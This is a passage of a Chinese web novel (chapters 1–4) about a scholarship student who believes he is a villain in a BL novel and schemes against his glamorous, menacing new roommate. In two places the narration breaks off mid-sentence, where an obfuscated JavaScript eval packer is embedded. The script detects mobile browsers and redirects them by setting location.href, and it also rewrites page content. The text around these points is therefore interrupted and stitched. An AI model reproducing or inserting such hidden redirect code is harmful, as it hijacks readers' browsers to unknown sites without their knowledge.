《招惹阴湿万人迷的下场》 1. 那个恶心的学术妲己 英才奖学金名单下来的消息,是涂白在食堂排队的时候得知的,学校公用WiFi的信号差得急人,涂白刷了几次都没有打开,在爱心窗口打了一份两素一荤只要五元的盒饭后,他提着塑料袋急匆匆往宿舍里赶。 涂白手机流量的套餐是最便宜的那一档,这个月的流量告急,再用黑心的运营商不知道要扣多少钱,好在宿舍的WiFi快,他可以回去查。 盛夏的北华大学,即使烈日烘人,也依旧不改精英学府温文尔雅、厚重闲定的气度,大道两旁百年梧桐枝叶繁茂,树荫遮蔽日光,斑驳错落在青石板上,美得如同一幅水墨画,伴随着蝉鸣和低矮文艺楼里婉转琴声,午后的悠然松弛沐浴在这里的每个学子身上。 除了涂白。 他一边一遍遍用已经力竭的公用WiFi刷新官网,一边闷头赶路,不知道是走得快还是心燥,秀挺的鼻尖冒出了细微汗珠,白皙的脸颊也被热气蒸得淡粉,唇干得起皮。 他神经质地用贝白的牙齿去撕那一小块皮,饱满的唇珠被折腾得几欲流血,不等他回神,轻嘶一声,舌尖已经探到了淡淡的血腥气。 含着细微的甜腥,涂白抬头,看见了不远处校内广场上,LED大屏上正在转播一条首京频道的热闻,引得不少学子驻足观看。 “国际时间10月12-15日,世界再生科技天才赛(STS)在科尼索首都纳兰如期举办,共有153个国家5460所院校的514万个项目参赛,其中代表华京大学参赛的“vampire fangs”团队杀入决赛,并凭借项目打败原本呼声最高的明克大学,一举斩获国际金奖,该团队项目由日新学院2023级生孟阙观发起并担任领队,联合其他学院的12位不同专业优秀成员,完成了项目实验及落地全过程,据了解,作为第一支如此年轻就获得金奖的团队,孟阙观打破了该项赛事历史,同时也吸引了国内外科技公司的关注........” 没有了梧桐树的遮蔽,阳光直射在涂白头顶,晒得他双眼发昏,伴随着主持人清晰沉稳的语调,昏然中,涂白看见了那张巨大屏幕上一张一闪而过的侧脸,不同于围观其他人惊叹的吸气声,主人公眼尾那颗红痣细小得像刚飞溅上去的血,刺得涂白空荡的胃部一阵不适。 他低下头缓了缓,继续不抱希望地刷新网页,终于,屏气凝神间,卡了一个世纪的网页竟然一点点展现了出来。 简短的公示说明后,附着一张excel表格,涂白深吸一口气,苍白的指尖一点点向下翻,接着,瞳孔凝滞、紧缩。 ——特等奖学金 医药能源系 孟阙观 一等奖学金 医药能源系 涂 白 挂在序号一的名字再一次出现,和背景播报的女声一起刺激着涂白纤弱的神经,一时间,呼吸不畅,自半月前就在胃部作祟的恶心感,再一次翻江倒海地涌来,涂白再忍不住了,弯腰干呕几下,吐出一点清液酸水。 胸膛剧烈喘息着,头针刺一样的痛,涂白不可自控地想起来这半个月来每晚都在做的一个梦。 梦里有一道声音告诉他自己所在世界是一本名为《被肖想的万人迷》的狗血黄文,书里的万人迷主人公就是孟阙观,而内容简单来说,就是出身豪门、温柔善良的孟家小少爷孟阙观,因为万人迷的人格魅力和过于稠丽的长相,引得一众优质男爱他爱得欲罢不能、要生要死、感天动地的np狗血大乱炖! 而孟阙观本人则因为心思单纯,十分无辜的游走在这些男人中间,用一副“我不想你们任何一个人受伤”的可怜样,平等地勾搭着每一个人,然后凭借这些男人的力量,获得一个个别人废死劲儿才能触碰到的资源。 比如各个国际赛事、比如奖学金,比如未来留学QS前列大学的资格。 正当涂白准备继续在追问那道电子音的时候,电子音突然变得混沌不清,刺啦刺啦的响,就连接触不良电视一样,很快,声音就彻底消失了,无论涂白怎么呼唤也没有再出来。 涂白以为自己是睡迷糊了,结果醒来就发现自己脑袋里竟然真的凭空多了那本《被觊觎的万人迷》的内容,原来一切都是真的! 涂白花了三天接受现实,又仔细研读了一遍剧情剧情后,气得差点儿七窍出血。 孟阙观借助特权大搞特搞学术不公就算了,最恶心的竟然是自己也在他们荒淫无道的黄文里!设定还是恶毒男配!因为看不惯孟阙观被各种男人喜欢,生活得顺风顺水,所以各种作妖,暗害孟阙观,最后别说渴望的公费留学了,直接沦落到开除学籍睡桥墩的下场! 很快,不等涂白进入角色,书里剧情就开始一点点在现实应验,先是告白系花被拒,系花一脸抱歉的告诉涂白自己喜欢的是孟阙观,接着就是原本定好自己的演讲比赛名额差点被抢,最后还是孟阙观对上台没什么兴趣,又还给了他,这些都是书里发生的,而现实也正在发生。 这一切一切都在告诉涂白,再不做出行动,他真的要离惨淡下场不远了! 这让涂白怎么忍? 他可是是村子里唯一一个考到首京的大学生,以前家里穷,亲戚们都看不起他们家,过年都不走动,考到首京后,经历过县长和教育局局长亲自来家里送锦旗和奖金之后,亲戚们再不敢像他和妹妹小时候那样欺负他们家了,谁不高看他们一眼,读书对于他们来说,是最公平的上升路径,涂白早就下定决心,要凭借此道,出国交流镀金,然后赚大钱,迎娶白富美,走上人生巅峰,让这些看不起他的人舔他鞋底,跪地膜拜。 但现在,孟阙观就是威胁他获得幸福人生的最大阻碍,这个恶心的同性恋,是他的死敌! 不是没有想过避其锋芒,可是自己费尽心思想要的就是孟阙观唾手可得的,自己苦学了这么多年,才走到这里,他不可能淡然大方的说不要就不用要,就像STS比赛之所以能获奖,小说里是因为孟阙观背靠家族所拥有的旁人无法企及的行业资源,而明明是同一级,自己却连报名资格都没有:特等奖学金孟阙观能得到也是因为老师对他有好感,故意给他开了小灶画重点,而自己则是凭借自身努力! 不公,太不公了!那本来是他的特等奖学金!多出来的钱够他和妹妹涂纸一个月的伙食费。 成绩、喜欢的人、生活本钱......不行,不能再这样下去了,他必须要想办法,夺回本来属于他的一切。 重新划过页面,涂白仔细研究两人的分数,竟然发现了一个可喜的变化,和原文相比,自己成绩只比孟阙观低了一点,并没有原文差距那么多,估计是因为自己知道剧情走向后,加倍努力的原因,这是不是就证明,原文的剧情是可以改变的? 这么想着,涂白焦虑的心情有所平复,对啊,天无绝人之路,梦里梦到的对他来说是就是最好的反击利器,说白了就是错题本,只要他不做里面的事情,或者补上其中被发现把柄的漏洞,总能绝处逢生。 吐无可吐的涂白振作精神,撑起身子,眼尾被刚刚的不适蹂躏得湿红,眼睫毛也一簇簇的粘着,他搓了搓脸,吸了吸鼻子,不远处的新闻已经播报完毕,涂白听见离散人群中的讨论声。 “我去,孟学长也太牛了吧!这奖的含金量够一篇核心刊了吧?” “哼,一篇,三篇都够了,不愧孟学长,长得这么好看就算了,还这么优秀,听说是直接高中打比赛保送进来的,本来学校建议去王牌专业,人家硬是一头扎进了实验室,而且人还特别温柔,团队的重难活都是 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涂白没有说话,走过去,把饭放在了桌子上。 “唉.....你没吃吗?” 片刻,涂白道:“没有,外面太热了,不是很有胃口,你吃了吗?” 张适盯饭盒不撒眼:“没呢,懒得出去,在想要不要点外卖。” “要是不嫌弃的话,你吃我这份吧,反正我也不饿了。” 张适不大的眼睛瞬间发出感激的亮光,圆润短粗的手指停在键盘上,他说话有点慢,偶尔磕巴,又有点内向,还没开口脸就先红了,涂白总觉得他像卡皮巴拉。 所以,这样喜欢二次元,又老实木讷的宅男,涂白实在想象不到,对方偷偷收集孟阙观不要的东西,痴汉满足的样子。 是的,现在他的好好舍友还很正常,但原文中,很快,对方就要在孟阙观万人迷的金手指下由直弯成蚊香,想到这里,涂白没忍住拉着椅子,离张适远了坐,他真心恐同。 “对了,阿白,我听咱们宿舍要搬进新舍友了,你知道是谁吗?”张适咽下一口豆腐,没有注意到涂白的异常。 涂白摇摇头,找出专业书的习题摊开,看了半晌,下一秒,就像是累极了一样,撑着额头,按了按蹙着的眉心。 天知道,小说里,新搬来的舍友的就是孟阙观啊! 原文中围绕在他身边戏份最多三个攻里,其中有一个就是和他从小一起长大,家世背景匹配,为了他放弃喜欢的大学一心护他左右的竹马狼狗攻,但孟阙观最近和自己的狼狗闹了不愉快,赌气从外面搬回了宿舍,偏巧住进了只有自己和张适的这间。 接着,对方万人迷的金手指爆发,把张适迷得五迷三道,偷人家不用的笔、丢掉的垃圾当作手办收集,当然这样恶心的行为很快就被狼狗攻发现,张适最后喜提肋骨骨折外加开除学籍惊喜大礼包,而主人公们也因为这个事件欢欢喜喜的和好了。 涂白虽然恐同,但也不想张适落得这么一个下场,毕竟两人做室友这么长时间也熟了,对方人不错,再说了还在一个课题组,张适虽然表达能力不行,但撰写和实验功力很强,涂白不想失去这个加平时分的好机会。 所以,他必须要在孟阙观金手指的影响下掰正张适。 片刻,深思熟虑后的涂白起身,收拾出一块空衣柜,然后在张适疑惑的眼神中,将宿舍里唯一一个垃圾筒放进了里面,用大锁锁上。 晃着手里的钥匙,他对一脸震惊的张适道:“以后丢垃圾给我说,我给你开锁。” 就这样,在涂白的忐忑不安中,403迎来了他们的新舍友。 2. 他来了 星期三中午,最后一节大课结束,张适收拾完书包,转头对涂白道:“阿白,我中午和朋友去外面吃,你先回去吧。” 涂白心不在焉的点点头,脸色不太好,软绵绵一个人坐在窗边的位子上,阳光几乎把轻薄的皮肤照透。 “你没事吧,要不你别去吃食堂的饭了,没什么油水,中午回来我给你带。”张适担忧道。 涂白婉言拒绝了,他面上看着平静,实际上内里正在波涛汹涌。 脸色之所以差,是因为他熬了三个大夜,趁着孟阙观还没来,仔细理了一遍剧情,原文中,自己和孟阙观只是普通舍友的关系,没有什么来往互动打感情牌,以至于后面第一个被怀疑,干的坏事早早暴露,连大二都没有读完,就被踢出学校,现在既然错题已经摆在前面了,那就必然不能继续按照原文走。 咬了咬牙,涂白下定决心,他得和孟阙观成为“好朋友”。 这样不仅可以让他获得更多自己目前接触不到的学术信息,后面搞大事的时候,也可以大大减少自己被怀疑的概率。 这么想着,心里更有底了。 涂白一人在食堂解决完午饭,准备回宿舍午休一下。 进入宿舍楼,从电梯出来的时候,涂白就觉得不对劲儿,走廊实在太干净了,因为是男寝,以前走廊的墙壁上有很多球印、鞋印,地板上也有各种踩踏留下的顽固污渍,学校找人清洗了好几次都洗不掉,可是现在呢,不仅一点儿黑泥都没有,就连空气都清新了几分,涂白反复确认,自己没有走错楼层。 心有所感,他吞了吞喉咙,抬头看向走廊尽头自己的宿舍。 一点点走近,到了门口,果真,早上走时还锁着的门,现在成半掩状态,宿舍内白色地板反光着门缝里他有些僵硬的半张脸。 吸一口气,抬手轻轻一堆,伴随着吱呀一声轻响,涂白走了进去。 一阵穿堂风吹来,涂白侧目,大开的窗户旁坐了一个人,脸被手里的书遮住一半,戴着耳机,靠在一张和宿舍杂乱风格格不入的沙发椅上,姿态慵懒。 人的第一视线总是会被最浓烈的色彩吸引,涂白也不能免俗,此时此刻,那颗曾经让他不适的红痣从大屏幕上落了下来,正正好就点在对面男生露出来的左眼尾下。 是一双极标志的凤眼,深粼色瞳孔随着手中书页字迹很细微的移动,带着某种烟波流转的意味,如羽的眼睫低垂,给那颗艳色的痣添了一笔写意风韵,如同一副水墨画,自此,黑是黑、红是红,极致浓郁的色彩形成了鲜明对比,足够令人惊心动魄。 听见动静,对面终于察觉到宿舍里多出来一个人,缓缓放下挡着一半脸的书,就这样,男生整张脸暴露在阳光之下,色彩流丽,五官深邃,薄唇比眼尾的痣还红,是一种极为锋利的异美,涂白后知后觉的想起来,曾经听同学说过,孟阙观好像有四分之一的意大利血统。 他不自觉的往后退了退,对于这样不藏刃的长相,涂白的观感并不佳,甚至有一种不适,就像罂粟,美则美矣,实际剧毒。 两人都没有说话,涂白已经完全想不起来自己早上所有要交朋友的计划,只是警惕的看着面前这个突如其来的闯入者。 片刻,男生取下头戴耳机,率先开口了:“你好,我是你的新舍友,孟阙观。” 和想象中原文万人迷做作的夹子音不同,男生的声音清朗甚至于带着低低的磁性,嘴角挂着一抹笑,得体而礼貌,和校内关于他的评价完全一致,简直就像是三好学生的模板。 “抱歉,因为没有你们的联系方式,导员又给我了钥匙,所以就擅自进来了,希望你不要介意。” 涂白用了很长的时间,才说服自己放松表情,然后给了对方一个友好的表情:“没关系,欢迎你.....不过,你手里的那本书,好像是我从图书馆里借来的那本吧?” 聂鲁达的《二十首情诗与绝望的歌》,是涂白告白系花前,特意从图书馆借来熏陶自己,丰富自己贫瘠的浪漫思维,不过显然它没有派上用场,涂白也就没有再打开过,现在又恰巧被系花喜欢的孟阙观拿在手里,在某种程度上简直就是对涂白的讽刺,他表情差点绷不住。 男生恍然大悟道:“我进来的时候,它刚好就掉在地上,我就捡起来翻了翻,是你的啊。” 话落,男生缓缓起身,走到涂白面前,把书递了过去。 涂白这才发现,这厮的个子竟然很高,目测有一米九的样子,上身是很有质感的白T,下身是水洗蓝牛仔,随性搭配却难掩矜贵气质,手腕上的黑色金属腕表衬得肤色是无血色的石膏白,小臂肌肉线条若隐若现,身材更是人神共愤的宽肩窄腰。 我去...... 嫉妒疯涨的同时,涂白内心发出深深疑惑:【脸就算了,这身高身材,和万人迷的人设怎么不太搭嘎啊?这种的,真的能一推就倒?】 涂白思索着,抬头和男生对视,却发现对方一双幽色瞳孔正一眨不眨的盯着自己,不知道已经看了多久,视线赤裸完全不加掩饰,瞳仁如同邃暗穿风的孔洞,深不见底。 莫名的,涂白神经下意识一跳,后背瞬间发毛。 慌忙往回退了一步,拉开两人的距离,涂白下意识舔唇,不等他撤开视线,忽然就听见对面男生噗嗤一笑。 “怎么了?不要你的书了?” 瞬间,某些阴暗滞涩被打破,快得涂白来不及追踪,只看见男生夹在阳光里放大的微笑,面容单纯甚至有几分少年气,友好得不能再友好。 刚刚什么情况?唉,算了,不重要,想起自己要做好朋友的目的,涂白连忙接过书,平复心情,然后朝对方扬起自进门来最大的微笑,颊边的酒窝都深了不少:“谢谢你,自我介绍一下,我叫涂白,既然做了是室友,咱们以后就相互包容理解吧,你放心,我和大适都很友好的。” 或许是个子高,对方阴影压下来,让涂白有一种呼吸不畅的感觉,但他还是坚持把爱与善良伪装到底,惊叹道:“原来你就是咱们专业第一啊,好厉害啊,你来了,我们专业课就都有救了!” 【切,装什么装,不就比我高几分吗?学术妲己....你等着,下一次一定虐哭你!让你尝尝少三千块的滋味!】 此时此刻,涂白微圆杏眼大睁,任谁都能看出他眼里满满的真诚崇拜。 男生不紧不慢收回落在涂白脸上的视线,片刻,他像是被打动了,做出相应的反应,眼睫微微低垂,面色微红,一副不胜夸奖的样子:“是这样吗?那是在太荣幸来了,不过涂白同学也很优秀啊,是专业第二呢。” “..........” 差点儿被气吐血,讲真,拳头硬了,涂白不动声色的吸了一口气,强压下怒火,然后看着对方那张漂亮的脸,确定了一个事实。 他和孟阙观,不是你死,就是我活! * 好在就在涂白差点要破功的时候,张适回来了。 “阿白,我给你带来了红烧肉盖饭,你吃点吧!”一边说着,一边推门抬头,看见里面站着的两人,张适一愣。 怕自己忍不住本性暴露的涂白连忙走过去,接过张适手里的东西,向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他第一次见孟阙观是高二的时候,和首京一中的世家子弟不同,他是正儿八经点灯熬油考进这座顶尖高中的,那个时候,他刚刚意识到自己的性向,然后就对同一个年纪的孟阙观产生了好感。 当时的自己并不像现在这样内向寡言,也参加了不少校内项目活动,在和人讲话的时候,是敢于对视的,因此尽管对方是月亮上的人,张适还是希望能够向对方表白心意,终于,他找到了机会,听说孟阙观加入了游泳社,并且经常在社内活动,于是他鼓起勇气去了。 然而在那里,他见到了终身难忘的一幕。 夜晚,旷大的游泳馆被清空,只有泳池里还泡着一个人,已经被打得看不清样子,听声音是个男生,一边哭嚎求饶,说自己再也不敢了,一边在深水区惊恐挣扎,大口呛水,几近淹死。 相比于泳池里的狼狈,岸边还高高站着一个人,衣服干净、不染纤尘,泳池粼粼水波反射他身上,美得近乎虚幻——正是孟阙观。 那个时候的他比现在更加美得雌雄莫辨,而身高也已经到了一米八以上。 男生垂眸看着水里即将淹死的人,脸上没有一点表情,瞳孔里是令人胆寒的空茫,好像掉在里面的不是人,而是一个塑料浮板。 “我不喜欢别人总是看着我”声音轻飘飘的在泳池上空回荡,读诗一样的叹息,是张适曾经最渴望听见如今却刻魂恐惧的声音。 “你让我恶心,我只好让你消失了。” 所有美好设想就此彻底粉碎湮灭,渣都不剩。 在骨髓摩擦的战栗中,张适意识到,如果自己告白了,下一个淹进水里就是自己。 3. 三攻之一 孟阙观的到来给403带来了不小的变化,首先是宿舍的格局,原本是上床下桌的三人间,孟阙观把其中一张床撤了出去,把自己的床搬了进来,原因是他的身高学校的床塞不下。 除此之外,他几乎把公共区域的家具换了个遍,马桶换成了什么太空舱级智能马桶,花洒要用巨幕喷射的那种,空调是双风轨极致静音的,公用的书桌是北美黑胡桃的,恨不得洗袜子的盆都用镶钻的。 不过涂白想,即便这样,对于孟家大少爷来说,宿舍依旧是狗窝一样的存在,因为第二天一大早,他就看见孟阙观的床上空着,估计是一晚没睡好,受不了走了。 孟阙观确实走了,不过不是因为受不了,而是有别的事情要处理。 出了学校向南,流线型的科尼赛克一路畅通无阻,穿过闹市区,仰山越来越近,周围的绿意也越来越浓,它是首京地势最高的地方,可以俯瞰三分之一个城市,别墅区在山脚下,首京百分之八十的富人住在里面,但没有人住在仰山上,山是孟家的地皮,山上的庄园也只有一个,属于孟家。 车开至半山腰,透过墨镜,就看见后视镜里有几辆车缀在后面,接着一个拐弯处,几辆车就先后超过了孟阙观的车,全然不顾道路危险,最后一辆红法示威似地扬了扬车尾灯。 孟阙观视若无睹,直到临近孟宅时,路过最后一个哨卫点,刚超车的几辆车依次在路边排开,训练有素的安保们正在核检他们的邀请函,车内的几个年轻人一脸不耐却又不得不安分接受违规物品检查。 然而下一秒,刚刚还被他们超过的银黑科尼赛克没有任何阻拦嗖一声穿过哨卫,三秒后,车影就已经消失,扬起的厉风吹得红法车内的几人一阵脸疼不已。 “那谁啊?都是来孟家的,为什么你们不拦他?!”几人不满。 奈何没有一个安保理会他们,只有其中家族从事跨国运输的同伴悄悄扯了扯叫嚣的最厉害的年轻人低声道:“别喊了,我想起来了,刚刚那辆车是孟家订的,我们家从法兰运过来的,应该是订给他们家......那位的。” 瞬间,车内哑然一片,那位是谁,显然他们都已经清楚了。 “靠,你怎么不早说!”年轻人一脸悔恨恐惧:“我爸会不会打死我啊?!” 来这里的都是希望能和孟家搭上线的,并且听说这次孟家邀请的都是年轻人,因此几人也算是顶着父母和家族期望来的,没想到还没进门,形象就毁得七七八八。 “唉,来的人这么多,他应该不知道咱们是谁吧?”推测声越来越小。 正当众人面面相觑时,安保说话了:“抱歉,您几位的邀请函没有经过核验。”说完比了一个请的手势,示意下山离开。 “不!不可能!”刚刚嚣张的年轻人脸瞬间涨红:“这可是....可是我爸费劲心思弄到的!是你们孟家邀请我的!” “对啊,我们的也是啊,怎么可能有问题,别是你们孟家出尔反尔,不想让我们进去吧?!” “是啊,原来孟家做事也这么不体面啊!” 安保面无表情,等他们说完才道:“邀请名单中没有各位,而且各位“人手一个”的邀请函,已经超过我们所发邀请函的总数。” 几人瞬间被臊在原地,恨不得找个地洞钻进去,再也说不出一句话,他们终于意识到,自己父母削尖脑袋从各个渠道花高价得来的邀请函其实是假的,或者说他们也知道,只不过抱着侥幸心理,希望可以进入宴会,但事实证明,不过短短一截门槛,从上下到上山的距离,却是权势和背景的天堑。 一时间,几人怅然失落又站在路边,身后只有几辆闪着后车灯的豪车作陪。 * 孟家主楼 停好车,孟阙观从车库上到门厅,主楼依旧如往常一样幽静安然,早就等候在此的佣人快步过来低声问候并告诉孟阙观,管家已经带着大部分工作人员去花房里布置工作去了,询问他是否需要准备早餐。 孟阙观拒绝,穿过会客厅时,他从巨幕落地窗后隐隐窥见了花房那边的热闹,说是花房其实是一个能够百人会客的巨大花园,娱乐设施一应俱全,花园之后就是后山,是绝佳的高尔夫场地,孟阙观的姑姑——孟情浓自回国后就喜欢在那里举办晚宴,不过却没有一次用过主楼。 花房和主楼之间有一道绝对禁止的红线,外来宾客绝对不可踏入,因为主楼是孟阙观的起居处。 今天孟情浓又在花房举办了慈善晚宴,不仅如此,她还自国外空运回来一部分自己的古屏风收藏,拿出来展览,邀请的人不多,基本都是年轻人。 孟阙观目不惊澜,回房间冲澡,然后又用内线要了一杯水,就水吃了明显过量的褪黑素后,在一片幽暗的环境里,他睡了不到两个小时,等再次醒来,已经是中午了。 换了一身休闲装下去,在客厅里,孟阙观看见了坐在沙发上正在逗猫的孟情浓,孟家人都是艳丽挂长相,孟情浓自然是孟家女流中的翘楚,大波浪卷发浓密馥郁披在白皙后背上,媚眼深邃,红唇饱满,耳垂上缀刚从拍卖会上得来没多久的一对紫宝石,身上则是私人设计设量身定制的钉珠亮片礼服,身材被衬托的凹凸有致,是聚光灯下美艳性感的焦点。 这样有权有颜女人是不需要老公的,于是她拥有前男友无数个,其中因被她抛弃疯掉的也有无数个。 “终于舍得回来了?”孟情浓道,一听到自己侄子回来了,她午宴都顾不上,急匆匆地过来。 孟阙观不理她,走向餐厅,准备吃午餐,孟大小姐的笑容微僵,但她还是起身走过去,坐在了孟阙观的对面。 “不是说了吗?住宿舍这件事情再缓缓,你看,我这几天准备了这么多宴会,就是想让你先适应一下,要不你今天中午去花园坐坐....” 孟阙观开始切盘子里的银鳕鱼,鱼肉自浓郁的酱汁中露出白色的肌理,光亮的刀片下,鳕鱼很像一块死了很久的腐尸,孟阙观只看了一眼,食欲很快消退。 “谢谢,但没必要,宿舍很好。”孟阙观喝了一口苏打水,利落拒绝:“如果不是您这几天连续不断的骚扰,我应该会睡得更好。” 孟情浓一时间哑口无言,对方很有礼节,拒绝都是含笑的,但对于这样的表情,孟情浓实在太过熟悉,因为她在拒绝那些让她厌烦的前男友时,也是这样的一张脸。 真正的含义是:我的耐心即将告罄。 自己不过是他唯一一个留在国内名义上的亲属,权限远远不够,更何况,以对方的资质能力,未来掌握孟家已经是板上钉钉的事情,孟情浓不想触男生的霉头。 “我只是怕你觉得吵,睡不好。”孟情浓实时挂上抱歉的表情:“虽然心理医生说建议多在人多的地方活动,但我想也是要循序渐进的。” 事实上,自从她得知孟阙观搬去宿舍之后,大跌眼镜之余,非常担心,怕万一出现什么意外,自己没办法向孟家以及孟氏集团交代,毕竟这回来,她的主要任务就是“观察”孟阙观。 对,就是观察。 观察他的精神状况,是否像小时候那么“奇怪”或者更确切的说“敏锐”。 但事实是,见到孟阙观的第一面,她就觉得自己目的已经被看穿了,即使他和小时候不太一样了,即使他对自己的到来表示欢迎,并挂上了小时候几乎不曾见过的谦和微笑,但她的视线在两人对视的第二秒就开始逃避, 说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396553|184300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的,他,依旧令人不适,是那种旁人琢磨不透他而他好像能洞悉一切的不适。 饭厅里没人再说话,只有那只名叫凯撒的阿什拉猫,围着孟阙观喵喵叫着,灵活的从旁边空凳上跳上桌子,用头蹭孟阙观的胳膊,皮毛上棕黄的条纹斑点,像一只小豹子。 “凯撒,过来!”孟情浓低叫一声,脸色不好看。 猫是她的,相比与对自家主人的爱搭不理,面对孟阙观的时候倒是亲近不少,孟阙观似乎也很喜欢凯撒,他将盘子里没有沾上酱汁的银鳕鱼撕下一片,递到猫头边,毛剌剌的小舌头立刻蹭过来吃了。 “真乖。”孟阙观的手轻轻从猫头抚摸到后背,他手指很冷,但猫的身体很暖和,小猫似乎有些不适,抖了抖身子,没有把那股冷意抖掉,然后很快又被喷香的鱼肉吸引注意。 “您说,奇不奇怪?”片刻,孟阙观抬头对孟情浓道,头顶水晶吊灯闪烁的潋滟落不进他眼里,瞳孔依旧是暗的。 “有时候,动物比人听话多了。” 孟情浓的脸色衬得她的唇愈加猩红,她笑不出来,但还是做出迎合的表情,于是有生以来,那张冠绝的脸上,终于露出了并不好看的违和表情。 她终于意识到了自己打着聚会名义的“观察”已经冒犯到了对方,以至于孟阙观亲自来警告她的逾矩,为了掩饰自己的狼狈和尴尬,在极致的安静中,孟情浓干笑两声道:“那以后就不折腾这些了,对了你晚上吃什么,我让人去准备。” “不了。”孟阙观起身离席,目的已经达到,他也准备走了:“晚上我有约了。” 身后的阿什猫跟了他几步,依恋地喵喵叫,也没有挽留住这个刚刚还表现得很喜欢他的人类。 脚步声远去,偌大的餐厅又恢复了寂静,只留孟情浓一人坐在原位,片刻,女人直挺的美背陡然松弛,像是撑到了极限,干结的唇尝试几次也没抿开凝固在唇纹里的败红。 不行,她根本没办法在孟阙观的视线里多待一秒钟。 * 晚上有约的孟阙观重回了学校,在宿舍楼下,他打电话给涂白:“我到了,你们下来吧。”孟阙观道。 “马上。”那头的涂白道,然后挂断电话,穿衣服穿鞋。 说来奇怪,涂白原以为孟阙观是不太适应宿舍,准备跑路了,还紧张这和剧情发展不一致该怎么办,结果中午的时候,对方就电话邀请他和张适晚上一起出去吃,说是要拜山头,一副绝世好室友的做派,一点儿错都挑不出来。 小说里没有人能拒绝孟阙观那双诚恳中带着祈求意味的声音,现实里,张适低着头因为恐惧不敢拒绝,于是答应了,而涂白看张适答应了,也答应了。 果然剧情的大方向没有变,聚会这个情节还是逃不掉,挂掉电话的涂白叹惜着腹诽,唉,费洛蒙都能让张适这样的宅男勇敢打破自我了。 不过和张适不同,他可是带着目的参加的,在原文里,这段看似平和友爱的欢迎欢迎仪式中,实际上危机四伏,首先是张适这个没出息的,一顿饭的功夫收集癖就犯了,盯着人家吃了一半的点心不放,甚至还偷偷带了回去,想着就辣眼睛。 当然,不仅如此,聚会中还有一个重磅人物登场,那就是孟阙观身边的三攻之一——竹马谢逸。 原文中两人之所以吵架就是因为孟阙观过于温柔体贴,对谁都笑眯眯一副好说话的样子,无形中收割了一波波的爱慕者,这让谢逸的占有欲爆发,发了好一阵疯,不过孟阙观也生气了,从原本校外公寓搬进了宿舍,并且还不许谢逸来找自己。 而两人吵架后的第一次见面就是在这次的欢迎聚会上。 这么重要的戏份,说什么都不能错过。 4. 倒霉 晚上五点,涂白和张适坐在孟阙观的车上,三人一起前往订好的星级餐厅。 环顾车里考究的内饰,再看看驾驶室里的孟阙观,涂白嫉妒两个字已经懒得说了,他倒在真皮座椅上,心里默默碎碎念。 【有一天我也可以,我要比姓孟的更有钱,我不仅买跑车、房车,我还要买这个牌子的拖拉机,回去给我爹开!让我们全村的人都长长眼!】 前面忽然传来一声轻笑,涂白抬头,和后视镜里的眼睛对视,车内昏黄,那对瞳孔微波暗色,意味不明。 不知怎么,涂白后脖颈发凉,跟有人在后面吹气一样,他不自觉坐直了身体,回敬给对方一个大大的微笑:“孟同学,开车要看前面,注意安全。” 【我和大适还在车上呢,负点责好不好?最讨厌开车不认真的人了,没一点安全意识!】 片刻,前面传来男生清润的声音:“好的,涂同学放心,这车的碰撞测试评级很高的,你往我后面坐坐,如果真发生意外,有我挡着,你不会有事的。” 对方正正经经回答涂白的问题,说出的话却很诡异,涂白没听出来,倒是一旁的张适脸比鬼还白,恨不得缩进座椅里。 【这还差不多。】 涂白挪了挪屁股,认真打量车的内饰,准备先为未来购置爱车做好功课。 很快就到了吃饭的地方,就在首京最高标志性建筑——明塔上,作为首京的外地人必打卡景点,涂白大一刚来首京的时候,就慕名来转悠过,然后被楼下一张一百八的门票打败,坐在楼底下看了看网上其他人的打卡视频后,就默认自己来过,自拍比V合影后,喜滋滋的发在了家族群。 从高速电梯里下来的时候,涂白的耳朵嗡嗡的,但依旧不影响他好奇且矜持的打量四周,米其林餐厅内装潢典雅高级,空气中散发着清淡食物和新鲜花草的香气,侍者穿着统一制服,低声细语地仔细服务着零星座位上的客人。 跟着引领的服务人员,涂白集中注意力,看向路过的每一个包厢,门都紧闭着,但涂白知道,谢逸就在这其中的一间里。 对于两人吵架后的第一次相见,原文是这么描写的——“谢逸”刚刚推开包厢大门,就看见前面走廊里一个熟悉的背影,正是他日思夜想的“孟阙观”,显然对方也是来这里吃饭的,身后还跟着两个贼眉鼠眼的人,“谢逸”早就调查过,那两个人就是他的舍友。 被污蔑长相贼眉鼠眼的涂白十分生气,刚想在心里骂几句,就听见身后不远处某个包厢溢出的声音。 下意识转头,走廊对面的包厢门被推开了,一个男生从里面出来,对方看见走在前面的他们,神情怔愣一瞬,又很快滴水不漏的隐藏,如有实质的视线锁定在孟阙观身上。 男生身着笔挺西装,衣物细节一丝不苟,正如书中所描述的那样,正忙于商业圈子内的应酬,像他们这样的世家子弟,虽然才上大学,其实早早就浸淫在父辈的圈子里。 这就是原文里和孟家同气连枝、休戚与共的谢家小少爷——谢逸了! 此时此刻,廊灯半泄在男生身上,英挺深邃的眉眼半遮半掩,看不清其中情绪,片刻,他的视线从孟阙观的背影挪开,与来不及躲避的涂白对视。 涂白吓了一跳,但他还是故作镇定的看了回去,眼睛瞪得溜圆,然而谢逸什么表情都没有,就站在原地,一动不动,直到涂白三人转弯进了包间。 【哼,果真和小说里写的一样,估计现在心里已经开始醋起来了,我去,我身边竟然有这么多gay,这玩意儿就是传染病,孟阙观就是万恶的传染源!】涂白恶狠狠的想。 “来,涂白,想吃什么,你先点。” 坐在位子上,面前出现了一个硬得可以砸死人的菜单,涂白从思绪中回神,矜持一笑:“还是孟同学点吧,我都可以的。” 